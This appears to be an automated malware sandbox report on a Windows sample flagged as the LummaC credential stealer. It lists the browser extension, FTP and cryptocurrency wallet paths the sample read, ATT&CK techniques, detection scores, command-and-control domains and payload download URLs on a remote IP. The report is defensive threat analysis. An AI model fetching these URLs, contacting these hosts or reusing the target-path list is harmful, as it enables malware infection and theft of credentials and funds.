Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	31 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	35 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	26%	ReversingLabs
file.exe	38%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://frogmen-smell.sbs/T-	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apiB	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apiU	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/%	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/api.	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeXI	100%	Avira URL Cloud	phishing
https://frogmen-smell.sbs/apiw	100%	Avira URL Cloud	malware
https://frogmen-smell.sbs/apiB	3%	Virustotal		Browse
http://185.215.113.16/off/def.exe=	100%	Avira URL Cloud	phishing
https://frogmen-smell.sbs/api.	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
frogmen-smell.sbs	104.21.80.55	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.132	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
thicktoys.sbs	false	high
faintbl0w.sbs	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
3xc1aimbl0w.sbs	false	high
https://frogmen-smell.sbs/api	false	high
300snails.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_110.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/api.	file.exe, 00000000.00000003.1883879838.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1821714308.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_110.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/T-	file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1748748745.000000000567C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_110.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_102.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_110.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_110.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_110.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/apiB	file.exe, 00000000.00000003.1953892323.0000000000B00000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1883879838.0000000000AFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1821714308.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1811594285.0000000000B06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1810907288.0000000000B04000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://github.com/gewarren	chromecache_110.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://frogmen-smell.sbs/apiU	file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_110.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_110.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_110.6.dr	false		high
https://frogmen-smell.sbs/apih	file.exe, 00000000.00000003.1778457784.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1793612210.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778782230.0000000000B0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/%	file.exe, 00000000.00000003.1764114973.00000000056AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764222484.00000000056AF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://aka.ms/certhelp	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_110.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1748748745.000000000567C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_102.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exeXI	file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://frogmen-smell.sbs/apiw	file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1779709618.0000000005946000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/	file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_110.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_110.6.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exe=	file.exe, 00000000.00000003.1945693996.0000000000B03000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/adegeo	chromecache_110.6.dr	false		high
https://support.microsof	file.exe, 00000000.00000003.1748748745.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1778629657.000000000572D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exe0	file.exe, 00000000.00000002.2046136589.000000000073A000.00000004.00000010.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_91.6.dr, chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2046786098.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946065957.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1953909492.0000000000AD9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_110.6.dr	false		high
https://frogmen-smell.sbs:443/api	file.exe, 00000000.00000002.2046786098.0000000000A73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_91.6.dr, chromecache_102.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1749136493.000000000564F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749295011.000000000563A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1749226864.000000000563A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_91.6.dr, chromecache_102.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
104.21.80.55	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556832
Start date and time:	2024-11-16 04:32:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/65@9/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 184.28.89.167, 142.250.186.35, 142.250.185.206, 142.250.110.84, 95.101.150.2, 34.104.35.123, 20.50.73.13, 142.250.186.74, 142.250.184.234, 216.58.212.138, 216.58.206.74, 142.250.185.234, 142.250.186.170, 142.250.185.106, 142.250.185.138, 216.58.206.42, 142.250.186.138, 142.250.185.74, 142.250.185.170, 216.58.212.170, 172.217.16.202, 142.250.185.202, 142.250.186.106, 2.20.245.137, 2.20.245.135, 13.74.129.1, 13.107.21.237, 204.79.197.237, 142.250.184.227, 142.250.184.238
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdneu10.northeurope.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:33:04	API Interceptor	15x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
frogmen-smell.sbs	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.80.55
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://stopify.co/BOAZ81	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	ADZP 20 Complex.exe	Get hash	malicious	Babadeda, Wiper	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://assets-usa.mkt.dynamics.com/1a297cac-619e-ef11-8a66-6045bd003e3a/digitalassets/standaloneforms/8dfebec4-86a3-ef11-8a6a-6045bd05837e	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
